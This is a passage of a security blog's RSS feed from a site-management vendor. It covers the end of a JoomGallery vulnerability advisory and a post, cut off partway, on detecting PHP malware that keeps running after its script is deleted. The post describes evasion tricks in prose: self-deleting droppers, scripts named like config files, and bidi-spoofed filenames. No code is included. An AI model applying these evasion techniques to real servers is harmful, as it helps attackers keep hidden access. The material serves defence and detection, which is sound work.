2026&lt;/td&gt;&lt;td&gt;The unauthenticated upload service described here&lt;/td&gt;&lt;td&gt;4.4.2&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two different external researchers found them, which is a reasonable sign that people are now looking at this extension properly. If you updated in August and considered the matter closed, note that 4.4.0 fixed the first pair and is affected by this one.&lt;/p&gt;
&lt;p&gt;The gap that stands out in the sequence is the three days between &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-84048/&quot;&gt;CVE-2026-84048&lt;/a&gt; being published on 15 September and 4.4.2 shipping on 18 September. For those three days the flaw was public, complete with the endpoint’s name, and no fixed release existed. That is not the vendor being slow, six days from report to release is a good turnaround for a volunteer project, but it is a reminder that a CVE appearing in your feed does not mean a patch is waiting for you.&lt;/p&gt;
&lt;h2&gt;How to check the Joomla sites you manage&lt;/h2&gt;
&lt;p&gt;By hand, the loop per site is: log in, open the extension manager, filter for JoomGallery, read the version, update if it is below 4.4.2, then open the temp directory over FTP or SSH and look for the file pair. On one site that is five minutes. On forty it is most of a day, and it is the kind of day where site thirty-one gets a less careful look than site three.&lt;/p&gt;
&lt;p&gt;The version part of that is what an extension inventory is for. In mySites.guru you search the inventory once for JoomGallery and get back every connected site with it installed and the version on each, and any site below 4.4.2 is flagged as vulnerable on its own site card without you searching for anything at all.&lt;/p&gt;
&lt;p&gt;The temp directory part is the check below, which looks for exactly the kind of leftover this flaw produces.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/filesinformation/removefolders&quot;&gt;Find files left behind in your Joomla temp directory&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit, which most sites schedule weekly.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/filesinformation/removefolders&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;One caveat worth knowing about, because it affects a small number of sites. A handful of JoomGallery installs report an empty version string in their manifest. A version that cannot be ordered against a range cannot be judged against one, so mySites.guru declines to flag those sites rather than guessing, which is the right way round but leaves you to check them yourself. If such a site runs Joomla 4, 5 or 6 then it is on the 4.x branch by definition, because 3.x does not run there, and it needs a manual look. The alert emails we sent name those sites explicitly.&lt;/p&gt;
&lt;h2&gt;What the numbers look like across the sites we manage&lt;/h2&gt;
&lt;p&gt;Two days after 4.4.2 shipped, 94% of the JoomGallery 4.x installs we can see across the Joomla sites on mySites.guru are still on an affected version. That is not a criticism of anyone: a release from two days ago that was announced on a project news page and a GitHub tag has not reached most people yet, which is the entire reason we send the emails.&lt;/p&gt;
&lt;p&gt;The larger population is more interesting. The clear majority of JoomGallery installs we can see are still on the 3.x branch for &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt;, and those are not affected by this flaw, because 3.x has no resumable-upload server in it at all. Those sites have a different and larger problem, which is that they are on Joomla 3.&lt;/p&gt;
&lt;h2&gt;Updating extensions across a lot of sites&lt;/h2&gt;
&lt;p&gt;The honest lesson of this one is about the distance between a fix existing and a fix being installed, which for most agencies is measured in weeks and for some sites is measured in never. JoomGallery is incidental to it.&lt;/p&gt;
&lt;p&gt;mySites.guru exists to close that distance. It tracks the installed version of every extension on every connected Joomla and WordPress site, matches those against a curated vulnerability database for Joomla extensions and the Wordfence feed for WordPress, and flags affected sites without anyone reading a mailing list. You can update extensions across many sites from one screen instead of logging into each, and &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;set safe automatic updates&lt;/a&gt; for the extensions you trust to update themselves.&lt;/p&gt;
&lt;p&gt;Some related reading, if this post found you because a site is already in trouble rather than because you are keeping ahead of it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Finding hacked files and backdoors&lt;/a&gt;, which is where to start if you found something in that temp directory you cannot account for&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;Why your .htaccess will not stop a Joomla hack&lt;/a&gt;, which covers this exact class of problem and why server hardening is not a substitute for patching&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints and the CMS security blind spot&lt;/a&gt;, the root-cause pattern this flaw is one more instance of&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;How to clean up dangerous files on a Joomla server&lt;/a&gt;, including what accumulates in &lt;code&gt;tmp&lt;/code&gt; and why Joomla does not always clear it&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Monthly&lt;/div&gt;&lt;div&gt;&lt;span&gt;£19.99&lt;/span&gt;&lt;span&gt;per month&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Unlimited sites, every check, no per-site pricing.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Yearly&lt;/div&gt;&lt;div&gt;&lt;span&gt;£199.99&lt;/span&gt;&lt;span&gt;per year&lt;/span&gt;&lt;/div&gt;&lt;div&gt;The same thing with two months off.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See the full pricing&lt;/a&gt;&lt;span&gt; Unlimited sites on every plan, so a JoomGallery sweep across forty Joomla sites costs the same as across four.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;If you would rather see it work before deciding, connect one site and &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on it. It will tell you whether that site is running an affected JoomGallery, and a good deal else besides.&lt;/p&gt;
&lt;p&gt;And if you have already found something you cannot explain in a temp directory, that is a different conversation. &lt;a href=&quot;https://fix.mysites.guru/now&quot;&gt;fix.mySites.guru&lt;/a&gt; is a flat £120 per incident: the site gets cleaned, audited for backdoors and handed back, usually the same day, and we screen it first so you are not charged in the rare case it cannot be fixed.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-02-08&lt;/strong&gt; JoomGallery 4.3.0 opens the upload service to the front end A site-side controller inherits the resumable-upload dispatch for the first time. Before this release the same endpoint exists but only inside the Joomla administrator.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-12&lt;/strong&gt; Yugorin of Samar Group reports the flaw to the vendor The vendor&apos;s advisory credits Yugorin of Samar Group with a responsible disclosure on this date. The fix branch opens the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; CVE-2026-84048 is published with no patch available The Joomla CNA publishes the record, scored CVSS 4.0 6.3 Medium. The title names 4.4.1 as the boundary. No fixed release exists yet, and none would for another three days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-18&lt;/strong&gt; JoomGallery 4.4.2 ships the fix The release adds a token check, an ownership check and per-category permission checks to the upload service, and enforces the upload size limit it previously ignored.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-19&lt;/strong&gt; mySites.guru flags every affected site and emails the owners The vulnerability rule covering JoomGallery 4.0.0 to 4.4.1 goes live, and the owner of every connected site running an affected version gets a direct alert listing their sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-19&lt;/strong&gt; The Joomla Security Strike Team corrects the CVE title After we reported the title/version mismatch, the record is updated to read &quot;&amp;lt; 4.4.2&quot;, and the downstream database that had been recommending 4.4.1 re-derives its advice from the corrected title.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-2.html&quot;&gt;JoomGallery 4.4.2 Safety Release&lt;/a&gt; - the vendor&apos;s own advisory, which states the affected range and the fixed version correctly.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomGalleryfriends/JoomGallery/releases/tag/v4.4.2-stable&quot;&gt;JoomGallery 4.4.2 release notes on GitHub&lt;/a&gt; - the changelog, including the pull request that rewrote the upload service.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284: Improper Access Control&lt;/a&gt; - the weakness class the Joomla CNA assigned to this flaw.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tus.io/protocols/resumable-upload&quot;&gt;The tus resumable upload protocol&lt;/a&gt; - the open protocol JoomGallery implements, and the reason the endpoint accepts a partial file across several requests.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely, including why an upload endpoint needs its own access check.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension flaws this sits alongside.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>joomgallery</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/joomgallery-unauthenticated-file-upload.png" length="0" type="image/png"/></item><item><title>The Malware You Thought You Deleted - Is Still Running!</title><link>https://mysites.guru/blog/processes-running-deleted-code/</link><guid isPermaLink="true">https://mysites.guru/blog/processes-running-deleted-code/</guid><description>A site reinfected within seconds of cleaning it usually has a PHP process still running from a file you already deleted. How to find it and stop it.</description><pubDate>Wed, 16 Sep 2026 14:04:01 GMT</pubDate><content:encoded>&lt;p&gt;You fix the hacked website. You delete the webshell. You refresh the page. It is already back.&lt;/p&gt;
&lt;p&gt;So you delete it again, watch the file disappear, and refresh once more. Back again. At this point most people start doubting the delete, then the FTP client, then the malware scanner that told them the file was there in the first place. We have watched capable developers go round that loop for an entire afternoon.&lt;/p&gt;
&lt;p&gt;Nothing they did was wrong. The file really was deleted, every single time. The problem is that on Linux, deleting a file does not stop a program that has already been started from it, and something was still running.&lt;/p&gt;
&lt;p&gt;This is the fourth post in a short series on where the thing rebuilding a hacked site hides. The earlier three cover &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;the crontabs your hosting panel never shows you&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;Joomla’s own scheduled tasks table&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;five WordPress hiding places a file scan cannot reach&lt;/a&gt;. They are all answers to one question, which is what put the malware back. This one answers the case where nothing put it back, because the process writing the files had been running the whole time.&lt;/p&gt;
&lt;h2&gt;Why does deleting the file not stop the malware?&lt;/h2&gt;
&lt;p&gt;Deleting a file on Linux does not destroy its contents. It removes the name. The &lt;code&gt;unlink&lt;/code&gt; system call takes the directory entry away, and the data behind it stays as long as anything still refers to it, which includes any process that already has it open or is executing it. The file is unreachable by name and entirely intact in use.&lt;/p&gt;
&lt;p&gt;A PHP process that was started from &lt;code&gt;/home/site/public_html/tmp/x.php&lt;/code&gt; does not re-read that script on every loop. It was parsed once, at startup, and the compiled program is held in the process’s own memory. Remove the script and the running process neither notices nor cares. It keeps running the code it already has, and if that code contains a loop that writes &lt;code&gt;index.php&lt;/code&gt;, it keeps writing &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That is the entire technique, and it is why the timing of a reinfection tells you what you are dealing with:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;Back within the hour&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;A scheduled task is putting it back. Something on a timer woke up, ran, and rewrote the files. The crontab, the CMS scheduler or a systemd timer is the place to look.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;Back on the next page load&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;A database-resident hook is putting it back. WP-Cron fires on visitor traffic rather than on a timer, so a busy site rebuilds the malware almost immediately.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Back within seconds, every time&lt;/dt&gt;&lt;dd&gt;Nothing is being triggered at all, because the process behind it was running the whole time. It sits in memory rewriting the file as fast as you remove it.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;The third case is the one that reads as a failure of your tooling rather than a property of the attack, which is exactly why it wastes so much of an afternoon.&lt;/p&gt;
&lt;h2&gt;A self-deleting dropper leaves nothing to scan&lt;/h2&gt;
&lt;p&gt;A dropper is a small piece of malware whose only job is to deliver other malware. It does not deface your site or steal anything itself. It arrives through whatever hole was open, writes the payload that does the real work, and then gets out of the way. The name is literal: it drops something and leaves.&lt;/p&gt;
&lt;p&gt;The malware side of this is not sophisticated, which is part of why it is common. A dropper that reaches the site starts a detached PHP process in the background, then removes its own script and the directory it was started in. From that point the attacker has a program running on your server with no file behind it. There is no file on the hard disk, there is nothing to see when you FTP and look.&lt;/p&gt;
&lt;p&gt;The dropper does not have to be the one that removes the file, and in practice it often is not. Most people meet this the other way round: you find the webshell during a clean-up and delete it yourself, and the process it started an hour earlier keeps running from the file you have just removed. Your own tidy-up produces exactly the state the malware would otherwise have engineered for itself. That is the version in the opening of this post, and it is why the symptom reads as a failed deletion rather than as an attack.&lt;/p&gt;
&lt;p&gt;Sucuri published the clearest public example back in 2020, in &lt;a href=&quot;https://blog.sucuri.net/2020/09/the-hidden-php-malware-that-reinfects-cleaned-files.html&quot;&gt;The Hidden PHP Malware that Reinfects Cleaned Files&lt;/a&gt;. Their sample runs itself through &lt;code&gt;nohup&lt;/code&gt; so it outlives the request timeout, calls &lt;code&gt;unlink()&lt;/code&gt; on its own source file, then sits in a loop hashing a target file once a second and rewriting it the instant the hash changes. It even backdates the file it restores by four hundred days and sets it read-only, so the timestamp gives nothing away. Their conclusion is the argument for this whole check: once the dropper has deleted itself, “the only way to detect this malware reinfector would be to view the running processes.”&lt;/p&gt;
&lt;p&gt;The technique is six years old and still works, because nothing in a normal clean-up routine looks at the server’s running processes.&lt;/p&gt;
&lt;p&gt;Every instrument you would normally reach for now reads clean, and each one is working correctly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A file scanner reads files. There is no file.&lt;/li&gt;
&lt;li&gt;A crontab audit reads crontabs. Nothing is scheduled, because the attacker had no need to schedule anything.&lt;/li&gt;
&lt;li&gt;A core-file integrity diff compares what shipped against what is there, which is &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;how an impostor file in a core folder gets caught&lt;/a&gt;. The process is not a file, so it does not appear in the comparison.&lt;/li&gt;
&lt;li&gt;A malware signature database matches patterns in content. There is no content on disk to match against.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the same shape of problem as &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;a backdoor that lives in a database row&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;the Helix3 defacement that never touches a file&lt;/a&gt;. The difference is that a database row can at least be read back later. A process exists only while it is running, so the evidence is gone the moment the server reboots, and so is the malware. That makes it simultaneously the easiest persistence to destroy and the hardest to find.&lt;/p&gt;
&lt;p&gt;There is no tidy name to look this up under, which is part of why it stays obscure. MITRE ATT&amp;amp;CK’s closest entry, &lt;a href=&quot;https://attack.mitre.org/techniques/T1070/004/&quot;&gt;T1070.004 File Deletion&lt;/a&gt;, covers an attacker removing their own files but says nothing about the process that keeps running afterwards, and its detection guidance only watches for the deletion itself. “Process ghosting” is a real named technique but a Windows one, exploiting how that kernel loads an executable image, and borrowing the term here would describe the wrong mechanism. “Fileless malware” is the usual loose umbrella, though it normally means something that never touched disk in the first place rather than something that touched disk, started, and then deleted itself behind it.&lt;/p&gt;
&lt;h2&gt;What mySites.guru reads, and where it stops&lt;/h2&gt;
&lt;p&gt;Every other check we ship reads your files or your database. This one reads the server’s own running processes, because that is the only place the evidence exists.&lt;/p&gt;
&lt;p&gt;If you have never looked at one, a process list is the server’s live inventory of what is actually executing at this instant, as opposed to the filesystem, which only tells you what is stored. Every running program has an entry, and each entry records who owns it, what started it, when it started, and which file it was launched from. Under your own hosting account that is normally the web server’s PHP workers, anything cron has started, and any background job you set up yourself.&lt;/p&gt;
&lt;p&gt;The last of those fields is the one that matters here. The operating system records where each process was launched from, and it keeps that record after the file goes: delete the file and the entry stays, now marked &lt;code&gt; (deleted)&lt;/code&gt;. So the running process list is the one place that still remembers a file the filesystem has already forgotten.&lt;/p&gt;
&lt;p&gt;It is one check out of 228, and on its own it will not tell you whether a site is hacked. Nor will any of the other 227. Somebody arriving here after a bad afternoon wants a single instrument that answers the question, and no such instrument exists for this problem.&lt;/p&gt;
&lt;p&gt;On every snapshot, twice a day (&lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot vs audit&lt;/a&gt; explains how that differs from an audit), the connector walks the running processes under your own hosting account and reports any PHP process whose code is no longer on disk. It runs on Joomla, WordPress and generic PHP sites.&lt;/p&gt;
&lt;p&gt;Before anything else about it, the limitation, because it is a large one.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This check is best effort, and your host decides whether it works&lt;/p&gt;&lt;div&gt;&lt;p&gt;Reading the list of running processes needs a permission a lot of shared hosts simply do not grant to PHP. Where the host says no, mySites.guru cannot answer the question at all. On the sites reporting today that is roughly four in ten, which is not a rounding error, and it is why this check is marked BETA in the app. Those sites are told in plain words that we could not look, and why. A result here is only ever a statement about the processes running under your own account, on a server that let us read them, at the moment we looked.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;We see what an attacker sees, and nothing more&lt;/h3&gt;
&lt;p&gt;That limit is a design decision rather than a gap we have not got round to yet. mySites.guru runs on your site as an ordinary PHP process, under your own hosting account. Not as root, not as a privileged user, and not as an agent you install on the server. What we can read is therefore close to exactly what an attacker who has got into your site can read, and no more than that.&lt;/p&gt;
&lt;p&gt;That cuts both ways, and both directions matter here.&lt;/p&gt;
&lt;p&gt;It is why the malicious process is visible to us at all. It was started by PHP through your web server, so it runs as the same user we do, and we can read its &lt;code&gt;/proc&lt;/code&gt; entry for precisely the same reason the attacker could read ours. Same privilege level, same view.&lt;/p&gt;
&lt;p&gt;It is also why a host that hides the process list from PHP hides it from us too. &lt;code&gt;open_basedir&lt;/code&gt; does not apply to root, and a server administrator running &lt;code&gt;ps&lt;/code&gt; sees everything. We are confined because we are unprivileged, which is the trade: the alternative is asking you to hand a third party root on your server, and no security check is worth that. Where we cannot look, the honest answer is to say so and point you at the two parties who do have the privilege, which is you over SSH or your host.&lt;/p&gt;
&lt;p&gt;The same boundary is why we stop reading a process the moment we can see it is not yours. On a shared server with no per-vhost user separation, every site on the box runs as one account, so anything outside your own site’s root is reported and never offered for stopping. Other customers’ processes are none of our business, and reading them would make us the thing we are looking for.&lt;/p&gt;
&lt;p&gt;There are three things that count as proof, and they are separate because they fail differently:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Its script has been deleted&lt;/dt&gt;&lt;dd&gt;The process was started from a PHP file, and that file is gone. This is the classic self-deleting dropper and the strongest single signal on the list.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Its working directory has been deleted&lt;/dt&gt;&lt;dd&gt;The directory the process was started in no longer exists. Malware that removes the folder it unpacked itself into shows up here, and so does a queue worker that was running while you replaced a release directory.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Its PHP binary has been deleted&lt;/dt&gt;&lt;dd&gt;The interpreter itself has been replaced. This is reported and never offered for stopping, because a host does exactly this to every running process each time it patches PHP. On its own it almost always means the server was updated.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Two further observations get attached once a process is already proven by one of those three, never on their own: that it is detached from any parent, and that its script sits in a temp directory. Both are suggestive rather than evidence, so neither can flag a process by itself.&lt;/p&gt;
&lt;p&gt;The check is fussy about what counts as PHP, on purpose. It judges the interpreter on the binary the kernel reports, never on the command-line string, because this family of malware names its script after an ordinary server configuration file. A substring test over the command line reads that as the web server and skips straight past it.&lt;/p&gt;
&lt;p&gt;There is a stronger reason to distrust the command line, and the Linux manual says it out loud. A process can rewrite its own arguments after it starts, so &lt;code&gt;/proc/PID/cmdline&lt;/code&gt; is, in the manual’s words, “the command line that the process wants you to see”. The binary behind &lt;code&gt;/proc/PID/exe&lt;/code&gt; is a kernel fact. The argument string is whatever the process typed there.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-hacked-panel-scheduled-tasks.DANu04Fs_Z2tUKsw.webp&quot; alt=&quot;The Hacked panel for a Joomla site in mySites.guru, showing eight check rows. Seven have green OK badges or a red HACKED badge, and the bottom row, Processes Running Deleted Code, has a grey No Data badge and a BETA label&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;412&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The bottom row is the check, on a server that would not let us read its process list. A grey No Data badge is not a pass, and it is not coloured like one.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;What we found once we started looking&lt;/h2&gt;
&lt;p&gt;The check has been running in production since mid-September 2026. These are the figures as of 16 September, measured over the most recent snapshot for every site audited in the previous thirty days.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1 in 360&lt;/div&gt;&lt;div&gt;sites had a PHP process running code that is no longer on disk&lt;/div&gt;&lt;div&gt;Found on both Joomla and WordPress&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Twice a day&lt;/div&gt;&lt;div&gt;every connected site has its running processes read&lt;/div&gt;&lt;div&gt;Joomla, WordPress and generic PHP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;6 years&lt;/div&gt;&lt;div&gt;this technique has been publicly documented and still works&lt;/div&gt;&lt;div&gt;Because a normal clean-up never looks at running processes&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured 16 September 2026 across every connected site with a snapshot in the previous thirty days, latest snapshot per site, among those whose server allowed the read.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Almost every flagged site had exactly one such process. A handful had three or four, which is what an automated reinfection loop that has been restarted a few times looks like. We found them on both Joomla and WordPress sites; the WordPress sample is far too small to draw a comparison from, so we are not going to draw one.&lt;/p&gt;
&lt;p&gt;That hit rate is low per site and high per account. An agency looking after three hundred sites should expect to find one, and it will be the site somebody has already cleaned twice.&lt;/p&gt;
&lt;p&gt;On roughly four sites in ten we cannot answer the question at all, because the server will not let PHP read its own process list. Around three in ten block the read entirely, almost always because &lt;a href=&quot;https://www.php.net/manual/en/ini.core.php#ini.open-basedir&quot;&gt;&lt;code&gt;open_basedir&lt;/code&gt;&lt;/a&gt; confines PHP’s filesystem functions to the site’s own directory, and &lt;code&gt;/proc&lt;/code&gt; is not in it. About one in ten will not tell us which account we are running as, which we treat as a no rather than guessing and reading another customer’s processes.&lt;/p&gt;
&lt;p&gt;If you are diagnosing your own server, &lt;code&gt;open_basedir&lt;/code&gt; is not the only thing that gets in the way. CloudLinux’s &lt;a href=&quot;https://cloudlinux.com/getting-started-with-cloudlinux-os/41-security-features/934-cagefs-tenant-isolation/&quot;&gt;CageFS&lt;/a&gt;, which a great deal of cPanel hosting runs, gives each account a filtered &lt;code&gt;/proc&lt;/code&gt; showing only its own processes, which is exactly the right behaviour and does not block this check. A host that mounts &lt;code&gt;/proc&lt;/code&gt; with &lt;code&gt;hidepid=2&lt;/code&gt; is doing something stricter, and a host that disables the exec family closes the last remaining route.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/resident-processes-blocked.D3nfEW37_2eorDE.webp&quot; alt=&quot;The same mySites.guru panel on a server that blocks the process list, showing a grey card headed We could not look on this server, explaining that open_basedir stops PHP reading the process list, and stating that the badge stays grey rather than green because nothing was examined&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;502&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The other four sites in ten. This is what the check reports when the host will not let it look, and it is not a pass.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;div&gt;&lt;p&gt;Grey is not green&lt;/p&gt;&lt;div&gt;&lt;p&gt;A check that cannot run has to look different from a check that ran and found nothing. Those sites report that we could not look and say why, rather than showing an unearned OK badge. It is the third answer most security tooling skips, and skipping it is how a scanner ends up reporting a clean bill of health for a question it never asked.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why this check never says HACKED&lt;/h2&gt;
&lt;p&gt;It would be easy to make this one red, and it would be wrong. A deleted working directory has a completely ordinary cause: deploy a new release by swapping a directory while a queue worker is running, and that worker is now running from a directory that no longer exists. From outside the process, that is indistinguishable from malware.&lt;/p&gt;
&lt;p&gt;So the check reports rather than accuses. It does not feed the hacked-site flag, it ships marked BETA, and every row shows the raw evidence: the full command line, how long the process has been running, its parent, and which of the three signals fired. Something you set up is usually recognisable from its command line within about two seconds. Something you did not set up usually is not.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The command line is attacker-controlled text&lt;/p&gt;&lt;div&gt;&lt;p&gt;A command line is arbitrary bytes chosen by whoever started the process, which makes printing it back to you a small security problem of its own. It can contain bidirectional formatting characters that reorder what you see on screen: a &lt;code&gt;U+202E&lt;/code&gt; override can make &lt;code&gt;evil.php&lt;/code&gt; draw as &lt;code&gt;php.live&lt;/code&gt;, the same trick played on filenames for twenty years. Those characters are replaced with a visible marker rather than escaped, because escaping does not help when the characters are not markup.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Where a row is safely actionable there is a Stop it button, and the conditions for showing it are narrow. The process has to be detached, running under your account, traceable to this specific site, and proven by a deleted script or working directory rather than a deleted interpreter. Anything outside this site’s own root is reported and never offered for stopping, for the shared-account reason above.&lt;/p&gt;
&lt;p&gt;Pressing the button re-checks all of it on your server at the moment you press, rather than trusting the page you are looking at. Process IDs get recycled, so the request sends back the start time and a hash of the command line it was shown, and the server will not act if either has changed. The honest failure messages are part of the design: “That process now has a parent, so something is managing it”, or “We cannot tie that process to this site, so we will not stop it”.&lt;/p&gt;
&lt;h2&gt;How do I find this across every site I manage?&lt;/h2&gt;
&lt;p&gt;Two ways, and the second is the one worth knowing if you look after more than a handful of sites.&lt;/p&gt;
&lt;p&gt;On a single site, the check sits in the Hacked panel of that site’s audit page in mySites.guru, under the name Processes Running Deleted Code, with a BETA label next to it. The badge is the summary: a green OK, a count of processes to review, or a grey No Data if the server would not let us look. Investigate on that row reads the process list live rather than replaying the stored snapshot, because a process list is out of date the moment it is written down. You get one row per candidate with its full command line, how long it has been running, its parent, and which signals fired.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/resident-process-real-finding.2-qWPCQz_2q1HmR.webp&quot; alt=&quot;A real finding in the mySites.guru Processes Running Deleted Code tool, reading one process worth reviewing of three examined. A PHP binary is running with the argument /tmp/httpd.conf, tagged its script has been deleted, detached from any parent, and running from a temp directory. It has been running for 182,581 seconds, and its working directory is inside a Joomla com_finder models folder. A note says the process cannot be tied to this site&apos;s own directory so it will not be offered for stopping&quot; loading=&quot;lazy&quot; width=&quot;1470&quot; height=&quot;514&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;An actual finding on a connected site, pulled while writing this post. The account path is redacted and everything else is exactly as the tool reported it. The working directory is the giveaway: it is not in this site at all.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;That single row contains everything this post describes, on one real site.&lt;/p&gt;
&lt;p&gt;Three tags on that row, and only the red one is proof. The other two are the supporting observations from earlier, which is why they are grey.&lt;/p&gt;
&lt;p&gt;The script is &lt;code&gt;/tmp/httpd.conf&lt;/code&gt;. That is the naming trick, in the wild: a PHP script named after the Apache configuration file, so anything matching on the command line string reads “httpd” and moves on. It sits in &lt;code&gt;/tmp&lt;/code&gt;, which is why the row also says &lt;em&gt;running from a temp directory&lt;/em&gt;. And it is gone, which is the tag that matters, &lt;em&gt;its script has been deleted&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;It has been running for 182,581 seconds, which is a little over two days, and it is detached from any parent. No ordinary web request lives for two days. Whatever started it exited long ago and this outlived it.&lt;/p&gt;
&lt;p&gt;Then the line that turned out to matter most, and it took a second look to see it. The working directory is not in this site at all. It is a second document root in the same hosting account: the development copy of the same site, sitting next door. The folder itself is &lt;code&gt;components/com_finder/models/models&lt;/code&gt;, a doubled folder name inside a Joomla core component, which is not a path Joomla ships.&lt;/p&gt;
&lt;h3&gt;The abandoned dev copy is the way in&lt;/h3&gt;
